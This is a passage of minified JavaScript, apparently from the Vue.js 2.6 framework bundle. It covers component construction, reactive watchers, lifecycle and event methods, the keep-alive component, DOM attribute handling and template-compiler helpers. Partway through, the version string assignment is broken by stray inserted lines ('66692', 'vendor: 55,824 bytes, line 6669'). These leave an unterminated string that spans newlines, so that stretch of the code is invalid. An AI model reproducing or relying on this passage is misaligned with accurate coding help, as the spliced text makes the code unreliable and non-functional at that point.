a={},s=e.attrs,c=e.props;if(n(s)||n(c))for(var u in o){var l=C(u);ot(a,c,u,l,!0)||ot(a,s,u,l,!1)}return a}}(a,i);if(r(i.options.functional))return function(t,r,i,o,a){var s=t.options,c={},u=s.props;if(n(u))for(var l in u)c[l]=Me(l,u,r||e);else n(i.attrs)&&Nt(c,i.attrs),n(i.props)&&Nt(c,i.props);var f=new Tt(i,c,a,o,t),p=s.render.call(null,f._c,f);if(p instanceof pe)return Et(p,i,f.parent,s);if(Array.isArray(p)){for(var d=at(p)||[],v=new Array(d.length),h=0;h<d.length;h++)v[h]=Et(d[h],i,f.parent,s);return v}}(i,d,a,s,c);var v=a.on;if(a.on=a.nativeOn,r(i.options.abstract)){var m=a.slot;a={},m&&(a.slot=m)}!function(e){for(var t=e.hook||(e.hook={}),n=0;n<Dt.length;n++){var r=Dt[n],i=t[r],o=jt[r];i===o||i&&i._merged||(t[r]=i?Mt(o,i):o)}}(a);var y=i.options.name||l;return new pe("vue-component-"+i.cid+(y?"-"+y:""),a,void 0,void 0,void 0,s,{Ctor:i,propsData:d,listeners:v,tag:l,children:c},p)}}}function Mt(e,t){var n=function(n,r){e(n,r),t(n,r)};return n._merged=!0,n}var It=1,Ft=2;function Pt(e,a,s,c,u,l){return(Array.isArray(s)||i(s))&&(u=c,c=s,s=void 0),r(l)&&(u=Ft),function(e,i,a,s,c){if(n(a)&&n(a.__ob__))return ve();n(a)&&n(a.is)&&(i=a.is);if(!i)return ve();Array.isArray(s)&&"function"==typeof s[0]&&((a=a||{}).scopedSlots={default:s[0]},s.length=0);c===Ft?s=at(s):c===It&&(s=function(e){for(var t=0;t<e.length;t++)if(Array.isArray(e[t]))return Array.prototype.concat.apply([],e);return e}(s));var u,l;if("string"==typeof i){var f;l=e.$vnode&&e.$vnode.ns||F.getTagNamespace(i),u=F.isReservedTag(i)?new pe(F.parsePlatformTagName(i),a,s,void 0,void 0,e):a&&a.pre||!n(f=Le(e.$options,"components",i))?new pe(i,a,s,void 0,void 0,e):Lt(f,a,e,s,i)}else u=Lt(i,a,e,s);return Array.isArray(u)?u:n(u)?(n(l)&&function e(i,o,a){i.ns=o;"foreignObject"===i.tag&&(o=void 0,a=!0);if(n(i.children))for(var s=0,c=i.children.length;s<c;s++){var u=i.children[s];n(u.tag)&&(t(u.ns)||r(a)&&"svg"!==u.tag)&&e(u,o,a)}}(u,l),n(a)&&function(e){o(e.style)&&et(e.style);o(e.class)&&et(e.class)}(a),u):ve()}(e,a,s,c,u)}var Rt,Ht=null;function Bt(e,t){return(e.__esModule||oe&&"Module"===e[Symbol.toStringTag])&&(e=e.default),o(e)?t.extend(e):e}function Ut(e){return e.isComment&&e.asyncFactory}function zt(e){if(Array.isArray(e))for(var t=0;t<e.length;t++){var r=e[t];if(n(r)&&(n(r.componentOptions)||Ut(r)))return r}}function Vt(e,t){Rt.$on(e,t)}function Kt(e,t){Rt.$off(e,t)}function Jt(e,t){var n=Rt;return function r(){null!==t.apply(null,arguments)&&n.$off(e,r)}}function qt(e,t,n){Rt=e,rt(t,n||{},Vt,Kt,Jt,e),Rt=void 0}var Wt=null;function Zt(e){var t=Wt;return Wt=e,function(){Wt=t}}function Gt(e){for(;e&&(e=e.$parent);)if(e._inactive)return!0;return!1}function Xt(e,t){if(t){if(e._directInactive=!1,Gt(e))return}else if(e._directInactive)return;if(e._inactive||null===e._inactive){e._inactive=!1;for(var n=0;n<e.$children.length;n++)Xt(e.$children[n]);Yt(e,"activated")}}function Yt(e,t){le();var n=e.$options[t],r=t+" hook";if(n)for(var i=0,o=n.length;i<o;i++)He(n[i],e,null,e,r);e._hasHookEvent&&e.$emit("hook:"+t),fe()}var Qt=[],en=[],tn={},nn=!1,rn=!1,on=0;var an=0,sn=Date.now;if(z&&!q){var cn=window.performance;cn&&"function"==typeof cn.now&&sn()>document.createEvent("Event").timeStamp&&(sn=function(){return cn.now()})}function un(){var e,t;for(an=sn(),rn=!0,Qt.sort(function(e,t){return e.id-t.id}),on=0;on<Qt.length;on++)(e=Qt[on]).before&&e.before(),t=e.id,tn[t]=null,e.run();var n=en.slice(),r=Qt.slice();on=Qt.length=en.length=0,tn={},nn=rn=!1,function(e){for(var t=0;t<e.length;t++)e[t]._inactive=!0,Xt(e[t],!0)}(n),function(e){var t=e.length;for(;t--;){var n=e[t],r=n.vm;r._watcher===n&&r._isMounted&&!r._isDestroyed&&Yt(r,"updated")}}(r),ne&&F.devtools&&ne.emit("flush")}var ln=0,fn=function(e,t,n,r,i){this.vm=e,i&&(e._watcher=this),e._watchers.push(this),r?(this.deep=!!r.deep,this.user=!!r.user,this.lazy=!!r.lazy,this.sync=!!r.sync,this.before=r.before):this.deep=this.user=this.lazy=this.sync=!1,this.cb=n,this.id=++ln,this.active=!0,this.dirty=this.lazy,this.deps=[],this.newDeps=[],this.depIds=new ie,this.newDepIds=new ie,this.expression="","function"==typeof t?this.getter=t:(this.getter=function(e){if(!H.test(e)){var t=e.split(".");return function(e){for(var n=0;n<t.length;n++){if(!e)return;e=e[t[n]]}return e}}}(t),this.getter||(this.getter=S)),this.value=this.lazy?void 0:this.get()};fn.prototype.get=function(){var e;le(this);var t=this.vm;try{e=this.getter.call(t,t)}catch(e){if(!this.user)throw e;Re(e,t,'getter for watcher "'+this.expression+'"')}finally{this.deep&&et(e),fe(),this.cleanupDeps()}return e},fn.prototype.addDep=function(e){var t=e.id;this.newDepIds.has(t)||(this.newDepIds.add(t),this.newDeps.push(e),this.depIds.has(t)||e.addSub(this))},fn.prototype.cleanupDeps=function(){for(var e=this.deps.length;e--;){var t=this.deps[e];this.newDepIds.has(t.id)||t.removeSub(this)}var n=this.depIds;this.depIds=this.newDepIds,this.newDepIds=n,this.newDepIds.clear(),n=this.deps,this.deps=this.newDeps,this.newDeps=n,this.newDeps.length=0},fn.prototype.update=function(){this.lazy?this.dirty=!0:this.sync?this.run():function(e){var t=e.id;if(null==tn[t]){if(tn[t]=!0,rn){for(var n=Qt.length-1;n>on&&Qt[n].id>e.id;)n--;Qt.splice(n+1,0,e)}else Qt.push(e);nn||(nn=!0,Ye(un))}}(this)},fn.prototype.run=function(){if(this.active){var e=this.get();if(e!==this.value||o(e)||this.deep){var t=this.value;if(this.value=e,this.user)try{this.cb.call(this.vm,e,t)}catch(e){Re(e,this.vm,'callback for watcher "'+this.expression+'"')}else this.cb.call(this.vm,e,t)}}},fn.prototype.evaluate=function(){this.value=this.get(),this.dirty=!1},fn.prototype.depend=function(){for(var e=this.deps.length;e--;)this.deps[e].depend()},fn.prototype.teardown=function(){if(this.active){this.vm._isBeingDestroyed||h(this.vm._watchers,this);for(var e=this.deps.length;e--;)this.deps[e].removeSub(this);this.active=!1}};var pn={enumerable:!0,configurable:!0,get:S,set:S};function dn(e,t,n){pn.get=function(){return this[t][n]},pn.set=function(e){this[t][n]=e},Object.defineProperty(e,n,pn)}function vn(e){e._watchers=[];var t=e.$options;t.props&&function(e,t){var n=e.$options.propsData||{},r=e._props={},i=e.$options._propKeys=[];e.$parent&&$e(!1);var o=function(o){i.push(o);var a=Me(o,t,n,e);xe(r,o,a),o in e||dn(e,"_props",o)};for(var a in t)o(a);$e(!0)}(e,t.props),t.methods&&function(e,t){e.$options.props;for(var n in t)e[n]="function"!=typeof t[n]?S:x(t[n],e)}(e,t.methods),t.data?function(e){var t=e.$options.data;s(t=e._data="function"==typeof t?function(e,t){le();try{return e.call(t,t)}catch(e){return Re(e,t,"data()"),{}}finally{fe()}}(t,e):t||{})||(t={});var n=Object.keys(t),r=e.$options.props,i=(e.$options.methods,n.length);for(;i--;){var o=n[i];r&&y(r,o)||(a=void 0,36!==(a=(o+"").charCodeAt(0))&&95!==a&&dn(e,"_data",o))}var a;Ce(t,!0)}(e):Ce(e._data={},!0),t.computed&&function(e,t){var n=e._computedWatchers=Object.create(null),r=te();for(var i in t){var o=t[i],a="function"==typeof o?o:o.get;r||(n[i]=new fn(e,a||S,S,hn)),i in e||mn(e,i,o)}}(e,t.computed),t.watch&&t.watch!==Y&&function(e,t){for(var n in t){var r=t[n];if(Array.isArray(r))for(var i=0;i<r.length;i++)_n(e,n,r[i]);else _n(e,n,r)}}(e,t.watch)}var hn={lazy:!0};function mn(e,t,n){var r=!te();"function"==typeof n?(pn.get=r?yn(t):gn(n),pn.set=S):(pn.get=n.get?r&&!1!==n.cache?yn(t):gn(n.get):S,pn.set=n.set||S),Object.defineProperty(e,t,pn)}function yn(e){return function(){var t=this._computedWatchers&&this._computedWatchers[e];if(t)return t.dirty&&t.evaluate(),ce.target&&t.depend(),t.value}}function gn(e){return function(){return e.call(this,this)}}function _n(e,t,n,r){return s(n)&&(r=n,n=n.handler),"string"==typeof n&&(n=e[n]),e.$watch(t,n,r)}var bn=0;function $n(e){var t=e.options;if(e.super){var n=$n(e.super);if(n!==e.superOptions){e.superOptions=n;var r=function(e){var t,n=e.options,r=e.sealedOptions;for(var i in n)n[i]!==r[i]&&(t||(t={}),t[i]=n[i]);return t}(e);r&&A(e.extendOptions,r),(t=e.options=De(n,e.extendOptions)).name&&(t.components[t.name]=e)}}return t}function wn(e){this._init(e)}function Cn(e){e.cid=0;var t=1;e.extend=function(e){e=e||{};var n=this,r=n.cid,i=e._Ctor||(e._Ctor={});if(i[r])return i[r];var o=e.name||n.options.name,a=function(e){this._init(e)};return(a.prototype=Object.create(n.prototype)).constructor=a,a.cid=t++,a.options=De(n.options,e),a.super=n,a.options.props&&function(e){var t=e.options.props;for(var n in t)dn(e.prototype,"_props",n)}(a),a.options.computed&&function(e){var t=e.options.computed;for(var n in t)mn(e.prototype,n,t[n])}(a),a.extend=n.extend,a.mixin=n.mixin,a.use=n.use,M.forEach(function(e){a[e]=n[e]}),o&&(a.options.components[o]=a),a.superOptions=n.options,a.extendOptions=e,a.sealedOptions=A({},a.options),i[r]=a,a}}function xn(e){return e&&(e.Ctor.options.name||e.tag)}function kn(e,t){return Array.isArray(e)?e.indexOf(t)>-1:"string"==typeof e?e.split(",").indexOf(t)>-1:(n=e,"[object RegExp]"===a.call(n)&&e.test(t));var n}function An(e,t){var n=e.cache,r=e.keys,i=e._vnode;for(var o in n){var a=n[o];if(a){var s=xn(a.componentOptions);s&&!t(s)&&On(n,o,r,i)}}}function On(e,t,n,r){var i=e[t];!i||r&&i.tag===r.tag||i.componentInstance.$destroy(),e[t]=null,h(n,t)}!function(t){t.prototype._init=function(t){var n=this;n._uid=bn++,n._isVue=!0,t&&t._isComponent?function(e,t){var n=e.$options=Object.create(e.constructor.options),r=t._parentVnode;n.parent=t.parent,n._parentVnode=r;var i=r.componentOptions;n.propsData=i.propsData,n._parentListeners=i.listeners,n._renderChildren=i.children,n._componentTag=i.tag,t.render&&(n.render=t.render,n.staticRenderFns=t.staticRenderFns)}(n,t):n.$options=De($n(n.constructor),t||{},n),n._renderProxy=n,n._self=n,function(e){var t=e.$options,n=t.parent;if(n&&!t.abstract){for(;n.$options.abstract&&n.$parent;)n=n.$parent;n.$children.push(e)}e.$parent=n,e.$root=n?n.$root:e,e.$children=[],e.$refs={},e._watcher=null,e._inactive=null,e._directInactive=!1,e._isMounted=!1,e._isDestroyed=!1,e._isBeingDestroyed=!1}(n),function(e){e._events=Object.create(null),e._hasHookEvent=!1;var t=e.$options._parentListeners;t&&qt(e,t)}(n),function(t){t._vnode=null,t._staticTrees=null;var n=t.$options,r=t.$vnode=n._parentVnode,i=r&&r.context;t.$slots=ut(n._renderChildren,i),t.$scopedSlots=e,t._c=function(e,n,r,i){return Pt(t,e,n,r,i,!1)},t.$createElement=function(e,n,r,i){return Pt(t,e,n,r,i,!0)};var o=r&&r.data;xe(t,"$attrs",o&&o.attrs||e,null,!0),xe(t,"$listeners",n._parentListeners||e,null,!0)}(n),Yt(n,"beforeCreate"),function(e){var t=ct(e.$options.inject,e);t&&($e(!1),Object.keys(t).forEach(function(n){xe(e,n,t[n])}),$e(!0))}(n),vn(n),function(e){var t=e.$options.provide;t&&(e._provided="function"==typeof t?t.call(e):t)}(n),Yt(n,"created"),n.$options.el&&n.$mount(n.$options.el)}}(wn),function(e){var t={get:function(){return this._data}},n={get:function(){return this._props}};Object.defineProperty(e.prototype,"$data",t),Object.defineProperty(e.prototype,"$props",n),e.prototype.$set=ke,e.prototype.$delete=Ae,e.prototype.$watch=function(e,t,n){if(s(t))return _n(this,e,t,n);(n=n||{}).user=!0;var r=new fn(this,e,t,n);if(n.immediate)try{t.call(this,r.value)}catch(e){Re(e,this,'callback for immediate watcher "'+r.expression+'"')}return function(){r.teardown()}}}(wn),function(e){var t=/^hook:/;e.prototype.$on=function(e,n){var r=this;if(Array.isArray(e))for(var i=0,o=e.length;i<o;i++)r.$on(e[i],n);else(r._events[e]||(r._events[e]=[])).push(n),t.test(e)&&(r._hasHookEvent=!0);return r},e.prototype.$once=function(e,t){var n=this;function r(){n.$off(e,r),t.apply(n,arguments)}return r.fn=t,n.$on(e,r),n},e.prototype.$off=function(e,t){var n=this;if(!arguments.length)return n._events=Object.create(null),n;if(Array.isArray(e)){for(var r=0,i=e.length;r<i;r++)n.$off(e[r],t);return n}var o,a=n._events[e];if(!a)return n;if(!t)return n._events[e]=null,n;for(var s=a.length;s--;)if((o=a[s])===t||o.fn===t){a.splice(s,1);break}return n},e.prototype.$emit=function(e){var t=this._events[e];if(t){t=t.length>1?k(t):t;for(var n=k(arguments,1),r='event handler for "'+e+'"',i=0,o=t.length;i<o;i++)He(t[i],this,n,this,r)}return this}}(wn),function(e){e.prototype._update=function(e,t){var n=this,r=n.$el,i=n._vnode,o=Zt(n);n._vnode=e,n.$el=i?n.__patch__(i,e):n.__patch__(n.$el,e,t,!1),o(),r&&(r.__vue__=null),n.$el&&(n.$el.__vue__=n),n.$vnode&&n.$parent&&n.$vnode===n.$parent._vnode&&(n.$parent.$el=n.$el)},e.prototype.$forceUpdate=function(){this._watcher&&this._watcher.update()},e.prototype.$destroy=function(){var e=this;if(!e._isBeingDestroyed){Yt(e,"beforeDestroy"),e._isBeingDestroyed=!0;var t=e.$parent;!t||t._isBeingDestroyed||e.$options.abstract||h(t.$children,e),e._watcher&&e._watcher.teardown();for(var n=e._watchers.length;n--;)e._watchers[n].teardown();e._data.__ob__&&e._data.__ob__.vmCount--,e._isDestroyed=!0,e.__patch__(e._vnode,null),Yt(e,"destroyed"),e.$off(),e.$el&&(e.$el.__vue__=null),e.$vnode&&(e.$vnode.parent=null)}}}(wn),function(e){St(e.prototype),e.prototype.$nextTick=function(e){return Ye(e,this)},e.prototype._render=function(){var e,t=this,n=t.$options,r=n.render,i=n._parentVnode;i&&(t.$scopedSlots=ft(i.data.scopedSlots,t.$slots,t.$scopedSlots)),t.$vnode=i;try{Ht=t,e=r.call(t._renderProxy,t.$createElement)}catch(n){Re(n,t,"render"),e=t._vnode}finally{Ht=null}return Array.isArray(e)&&1===e.length&&(e=e[0]),e instanceof pe||(e=ve()),e.parent=i,e}}(wn);var Sn=[String,RegExp,Array],Tn={KeepAlive:{name:"keep-alive",abstract:!0,props:{include:Sn,exclude:Sn,max:[String,Number]},created:function(){this.cache=Object.create(null),this.keys=[]},destroyed:function(){for(var e in this.cache)On(this.cache,e,this.keys)},mounted:function(){var e=this;this.$watch("include",function(t){An(e,function(e){return kn(t,e)})}),this.$watch("exclude",function(t){An(e,function(e){return!kn(t,e)})})},render:function(){var e=this.$slots.default,t=zt(e),n=t&&t.componentOptions;if(n){var r=xn(n),i=this.include,o=this.exclude;if(i&&(!r||!kn(i,r))||o&&r&&kn(o,r))return t;var a=this.cache,s=this.keys,c=null==t.key?n.Ctor.cid+(n.tag?"::"+n.tag:""):t.key;a[c]?(t.componentInstance=a[c].componentInstance,h(s,c),s.push(c)):(a[c]=t,s.push(c),this.max&&s.length>parseInt(this.max)&&On(a,s[0],s,this._vnode)),t.data.keepAlive=!0}return t||e&&e[0]}}};!function(e){var t={get:function(){return F}};Object.defineProperty(e,"config",t),e.util={warn:ae,extend:A,mergeOptions:De,defineReactive:xe},e.set=ke,e.delete=Ae,e.nextTick=Ye,e.observable=function(e){return Ce(e),e},e.options=Object.create(null),M.forEach(function(t){e.options[t+"s"]=Object.create(null)}),e.options._base=e,A(e.options.components,Tn),function(e){e.use=function(e){var t=this._installedPlugins||(this._installedPlugins=[]);if(t.indexOf(e)>-1)return this;var n=k(arguments,1);return n.unshift(this),"function"==typeof e.install?e.install.apply(e,n):"function"==typeof e&&e.apply(null,n),t.push(e),this}}(e),function(e){e.mixin=function(e){return this.options=De(this.options,e),this}}(e),Cn(e),function(e){M.forEach(function(t){e[t]=function(e,n){return n?("component"===t&&s(n)&&(n.name=n.name||e,n=this.options._base.extend(n)),"directive"===t&&"function"==typeof n&&(n={bind:n,update:n}),this.options[t+"s"][e]=n,n):this.options[t+"s"][e]}})}(e)}(wn),Object.defineProperty(wn.prototype,"$isServer",{get:te}),Object.defineProperty(wn.prototype,"$ssrContext",{get:function(){return this.$vnode&&this.$vnode.ssrContext}}),Object.defineProperty(wn,"FunctionalRenderContext",{value:Tt}),wn.version="2.6.1
66692
vendor: 55,824 bytes, line 6669
6669";var En=p("style,class"),Nn=p("input,textarea,option,select,progress"),jn=function(e,t,n){return"value"===n&&Nn(e)&&"button"!==t||"selected"===n&&"option"===e||"checked"===n&&"input"===e||"muted"===n&&"video"===e},Dn=p("contenteditable,draggable,spellcheck"),Ln=p("events,caret,typing,plaintext-only"),Mn=function(e,t){return Hn(t)||"false"===t?"false":"contenteditable"===e&&Ln(t)?t:"true"},In=p("allowfullscreen,async,autofocus,autoplay,checked,compact,controls,declare,default,defaultchecked,defaultmuted,defaultselected,defer,disabled,enabled,formnovalidate,hidden,indeterminate,inert,ismap,itemscope,loop,multiple,muted,nohref,noresize,noshade,novalidate,nowrap,open,pauseonexit,readonly,required,reversed,scoped,seamless,selected,sortable,translate,truespeed,typemustmatch,visible"),Fn="http://www.w3.org/1999/xlink",Pn=function(e){return":"===e.charAt(5)&&"xlink"===e.slice(0,5)},Rn=function(e){return Pn(e)?e.slice(6,e.length):""},Hn=function(e){return null==e||!1===e};function Bn(e){for(var t=e.data,r=e,i=e;n(i.componentInstance);)(i=i.componentInstance._vnode)&&i.data&&(t=Un(i.data,t));for(;n(r=r.parent);)r&&r.data&&(t=Un(t,r.data));return function(e,t){if(n(e)||n(t))return zn(e,Vn(t));return""}(t.staticClass,t.class)}function Un(e,t){return{staticClass:zn(e.staticClass,t.staticClass),class:n(e.class)?[e.class,t.class]:t.class}}function zn(e,t){return e?t?e+" "+t:e:t||""}function Vn(e){return Array.isArray(e)?function(e){for(var t,r="",i=0,o=e.length;i<o;i++)n(t=Vn(e[i]))&&""!==t&&(r&&(r+=" "),r+=t);return r}(e):o(e)?function(e){var t="";for(var n in e)e[n]&&(t&&(t+=" "),t+=n);return t}(e):"string"==typeof e?e:""}var Kn={svg:"http://www.w3.org/2000/svg",math:"http://www.w3.org/1998/Math/MathML"},Jn=p("html,body,base,head,link,meta,style,title,address,article,aside,footer,header,h1,h2,h3,h4,h5,h6,hgroup,nav,section,div,dd,dl,dt,figcaption,figure,picture,hr,img,li,main,ol,p,pre,ul,a,b,abbr,bdi,bdo,br,cite,code,data,dfn,em,i,kbd,mark,q,rp,rt,rtc,ruby,s,samp,small,span,strong,sub,sup,time,u,var,wbr,area,audio,map,track,video,embed,object,param,source,canvas,script,noscript,del,ins,caption,col,colgroup,table,thead,tbody,td,th,tr,button,datalist,fieldset,form,input,label,legend,meter,optgroup,option,output,progress,select,textarea,details,dialog,menu,menuitem,summary,content,element,shadow,template,blockquote,iframe,tfoot"),qn=p("svg,animate,circle,clippath,cursor,defs,desc,ellipse,filter,font-face,foreignObject,g,glyph,image,line,marker,mask,missing-glyph,path,pattern,polygon,polyline,rect,switch,symbol,text,textpath,tspan,use,view",!0),Wn=function(e){return Jn(e)||qn(e)};function Zn(e){return qn(e)?"svg":"math"===e?"math":void 0}var Gn=Object.create(null);var Xn=p("text,number,password,search,email,tel,url");function Yn(e){if("string"==typeof e){var t=document.querySelector(e);return t||document.createElement("div")}return e}var Qn=Object.freeze({createElement:function(e,t){var n=document.createElement(e);return"select"!==e?n:(t.data&&t.data.attrs&&void 0!==t.data.attrs.multiple&&n.setAttribute("multiple","multiple"),n)},createElementNS:function(e,t){return document.createElementNS(Kn[e],t)},createTextNode:function(e){return document.createTextNode(e)},createComment:function(e){return document.createComment(e)},insertBefore:function(e,t,n){e.insertBefore(t,n)},removeChild:function(e,t){e.removeChild(t)},appendChild:function(e,t){e.appendChild(t)},parentNode:function(e){return e.parentNode},nextSibling:function(e){return e.nextSibling},tagName:function(e){return e.tagName},setTextContent:function(e,t){e.textContent=t},setStyleScope:function(e,t){e.setAttribute(t,"")}}),er={create:function(e,t){tr(t)},update:function(e,t){e.data.ref!==t.data.ref&&(tr(e,!0),tr(t))},destroy:function(e){tr(e,!0)}};function tr(e,t){var r=e.data.ref;if(n(r)){var i=e.context,o=e.componentInstance||e.elm,a=i.$refs;t?Array.isArray(a[r])?h(a[r],o):a[r]===o&&(a[r]=void 0):e.data.refInFor?Array.isArray(a[r])?a[r].indexOf(o)<0&&a[r].push(o):a[r]=[o]:a[r]=o}}var nr=new pe("",{},[]),rr=["create","activate","update","remove","destroy"];function ir(e,i){return e.key===i.key&&(e.tag===i.tag&&e.isComment===i.isComment&&n(e.data)===n(i.data)&&function(e,t){if("input"!==e.tag)return!0;var r,i=n(r=e.data)&&n(r=r.attrs)&&r.type,o=n(r=t.data)&&n(r=r.attrs)&&r.type;return i===o||Xn(i)&&Xn(o)}(e,i)||r(e.isAsyncPlaceholder)&&e.asyncFactory===i.asyncFactory&&t(i.asyncFactory.error))}function or(e,t,r){var i,o,a={};for(i=t;i<=r;++i)n(o=e[i].key)&&(a[o]=i);return a}var ar={create:sr,update:sr,destroy:function(e){sr(e,nr)}};function sr(e,t){(e.data.directives||t.data.directives)&&function(e,t){var n,r,i,o=e===nr,a=t===nr,s=ur(e.data.directives,e.context),c=ur(t.data.directives,t.context),u=[],l=[];for(n in c)r=s[n],i=c[n],r?(i.oldValue=r.value,i.oldArg=r.arg,fr(i,"update",t,e),i.def&&i.def.componentUpdated&&l.push(i)):(fr(i,"bind",t,e),i.def&&i.def.inserted&&u.push(i));if(u.length){var f=function(){for(var n=0;n<u.length;n++)fr(u[n],"inserted",t,e)};o?it(t,"insert",f):f()}l.length&&it(t,"postpatch",function(){for(var n=0;n<l.length;n++)fr(l[n],"componentUpdated",t,e)});if(!o)for(n in s)c[n]||fr(s[n],"unbind",e,e,a)}(e,t)}var cr=Object.create(null);function ur(e,t){var n,r,i=Object.create(null);if(!e)return i;for(n=0;n<e.length;n++)(r=e[n]).modifiers||(r.modifiers=cr),i[lr(r)]=r,r.def=Le(t.$options,"directives",r.name);return i}function lr(e){return e.rawName||e.name+"."+Object.keys(e.modifiers||{}).join(".")}function fr(e,t,n,r,i){var o=e.def&&e.def[t];if(o)try{o(n.elm,e,n,r,i)}catch(r){Re(r,n.context,"directive "+e.name+" "+t+" hook")}}var pr=[er,ar];function dr(e,r){var i=r.componentOptions;if(!(n(i)&&!1===i.Ctor.options.inheritAttrs||t(e.data.attrs)&&t(r.data.attrs))){var o,a,s=r.elm,c=e.data.attrs||{},u=r.data.attrs||{};for(o in n(u.__ob__)&&(u=r.data.attrs=A({},u)),u)a=u[o],c[o]!==a&&vr(s,o,a);for(o in(q||Z)&&u.value!==c.value&&vr(s,"value",u.value),c)t(u[o])&&(Pn(o)?s.removeAttributeNS(Fn,Rn(o)):Dn(o)||s.removeAttribute(o))}}function vr(e,t,n){e.tagName.indexOf("-")>-1?hr(e,t,n):In(t)?Hn(n)?e.removeAttribute(t):(n="allowfullscreen"===t&&"EMBED"===e.tagName?"true":t,e.setAttribute(t,n)):Dn(t)?e.setAttribute(t,Mn(t,n)):Pn(t)?Hn(n)?e.removeAttributeNS(Fn,Rn(t)):e.setAttributeNS(Fn,t,n):hr(e,t,n)}function hr(e,t,n){if(Hn(n))e.removeAttribute(t);else{if(q&&!W&&"TEXTAREA"===e.tagName&&"placeholder"===t&&""!==n&&!e.__ieph){var r=function(t){t.stopImmediatePropagation(),e.removeEventListener("input",r)};e.addEventListener("input",r),e.__ieph=!0}e.setAttribute(t,n)}}var mr={create:dr,update:dr};function yr(e,r){var i=r.elm,o=r.data,a=e.data;if(!(t(o.staticClass)&&t(o.class)&&(t(a)||t(a.staticClass)&&t(a.class)))){var s=Bn(r),c=i._transitionClasses;n(c)&&(s=zn(s,Vn(c))),s!==i._prevClass&&(i.setAttribute("class",s),i._prevClass=s)}}var gr,_r,br,$r,wr,Cr,xr={create:yr,update:yr},kr=/[\w).+\-_$\]]/;function Ar(e){var t,n,r,i,o,a=!1,s=!1,c=!1,u=!1,l=0,f=0,p=0,d=0;for(r=0;r<e.length;r++)if(n=t,t=e.charCodeAt(r),a)39===t&&92!==n&&(a=!1);else if(s)34===t&&92!==n&&(s=!1);else if(c)96===t&&92!==n&&(c=!1);else if(u)47===t&&92!==n&&(u=!1);else if(124!==t||124===e.charCodeAt(r+1)||124===e.charCodeAt(r-1)||l||f||p){switch(t){case 34:s=!0;break;case 39:a=!0;break;case 96:c=!0;break;case 40:p++;break;case 41:p--;break;case 91:f++;break;case 93:f--;break;case 123:l++;break;case 125:l--}if(47===t){for(var v=r-1,h=void 0;v>=0&&" "===(h=e.charAt(v));v--);h&&kr.test(h)||(u=!0)}}else void 0===i?(d=r+1,i=e.slice(0,r).trim()):m();function m(){(o||(o=[])).push(e.slice(d,r).trim()),d=r+1}if(void 0===i?i=e.slice(0,r).trim():0!==d&&m(),o)for(r=0;r<o.length;r++)i=Or(i,o[r]);return i}function Or(e,t){var n=t.indexOf("(");if(n<0)return'_f("'+t+'")('+e+")";var r=t.slice(0,n),i=t.slice(n+1);return'_f("'+r+'")('+e+(")"!==i?","+i:i)}function Sr(e,t){console.error("[Vue compiler]: "+e)}function Tr(e,t){return e?e.map(function(e){return e[t]}).filter(function(e){return e}):[]}function Er(e,t,n,r,i){(e.props||(e.props=[])).push(Rr({name:t,value:n,dynamic:i},r)),e.plain=!1}function Nr(e,t,n,r,i){(i?e.dynamicAttrs||(e.dynamicAttrs=[]):e.attrs||(e.attrs=[])).push(Rr({name:t,value:n,dynamic:i},r)),e.plain=!1}function jr(e,t,n,r){e.attrsMap[t]=n,e.attrsList.push(Rr({name:t,value:n},r))}function Dr(e,t,n,r,i,o,a,s){(e.directives||(e.directives=[])).push(Rr({name:t,rawName:n,value:r,arg:i,isDynamicArg:o,modifiers:a},s)),e.plain=!1}function Lr(e,t,n){return n?"_p("+t+',"'+e+'")':e+t}function Mr(t,n,r,i,o,a,s,c){var u;(i=i||e).right?c?n="("+n+")==='click'?'contextmenu':("+n+")":"click"===n&&(n="contextmenu",delete i.right):i.middle&&(c?n="("+n+")==='click'?'mouseup':("+n+")":"click"===n&&(n="mouseup")),i.capture&&(delete i.capture,n=Lr("!",n,c)),i.once&&(delete i.once,n=Lr("~",n,c)),i.passive&&(delete i.passive,n=Lr("&",n,c)),i.native?(delete i.native,u=t.nativeEvents||(t.nativeEvents={})):u=t.events||(t.events={});var l=Rr({value:r.trim(),dynamic:c},s);i!==e&&(l.modifiers=i);var f=u[n];Array.isArray(f)?o?f.unshift(l):f.push(l):u[n]=f?o?[l,f]:[f,l]:l,t.plain=!1}function Ir(e,t,n){var r=Fr(e,":"+t)||Fr(e,"v-bind:"+t);if(null!=r)return Ar(r);if(!1!==n){var i=Fr(e,t);if(null!=i)return JSON.stringify(i)}}function Fr(e,t,n){var r;if(null!=(r=e.attrsMap[t]))for(var i=e.attrsList,o=0,a=i.length;o<a;o++)if(i[o].name===t){i.splice(o,1);break}return n&&delete e.attrsMap[t],r}function Pr(e,t){for(var n=e.attrsList,r=0,i=n.length;r<i;r++){var o=n[r];if(t.test(o.name))return n.splice(r,1),o}}function Rr(e,t){return t&&(null!=t.start&&(e.start=t.start),null!=t.end&&(e.end=t.end)),e}function Hr(e,t,n){var r=n||{},i=r.number,o="$$v";r.trim&&(o="(typeof $$v === 'string'? $$v.trim(): $$v)"),i&&(o="_n("+o+")");var a=Br(t,o);e.model={value:"("+t+")",expression:JSON.stringify(t),callback:"function ($$v) {"+a+"}"}}function Br(e,t){var n=function(e){if(e=e.trim(),gr=e.length,e.indexOf("[")<0||e.lastIndexOf("]")<gr-1)return($r=e.lastIndexOf("."))>-1?{exp:e.slice(0,$r),key:'"'+e.slice($r+1)+'"'}:{exp:e,key:null};_r=e,$r=wr=Cr=0;for(;!zr();)Vr(br=Ur())?Jr(br):91===br&&Kr(br);return{exp:e.slice(0,wr),key:e.slice(wr+1,Cr)}}(e);return null===n.key?e+"="+t:"$set("+n.exp+", "+n.key+", "+t+")"}function Ur(){return _r.charCodeAt(++$r)}function zr(){return $r>=gr}function Vr(e){return 34===e||39===e}function Kr(e){var t=1;for(wr=$r;!zr();)if(Vr(e=Ur()))Jr(e);else if(91===e&&t++,93===e&&t--,0===t){Cr=$r;break}}function Jr(e){for(var t=e;!zr()&&(e=Ur())!==t;);}var qr,Wr="__r",Zr="__c";function Gr(e,t,n){var r=qr;return function i(){null!==t.apply(null,arguments)&&Qr(e,i,n,r)}}var Xr=Ve&&!(X&&Number(X[1])<=53);function Yr(e,t,n,r){if(Xr){var i=an,o=t;t=o._wrapper=function(e){if(e.target===e.currentTarget||e.timeStamp>=i||e.timeStamp<=0||e.target.ownerDocument!==document)return o.apply(this,arguments)}}qr.addEventListener(e,t,Q?{capture:n,passive:r}:n)}function Qr(e,t,n,r){(r||qr).removeEventListener(e,t._wrapper||t,n)}function ei(e,r){if(!t(e.data.on)||!t(r.data.on)){var 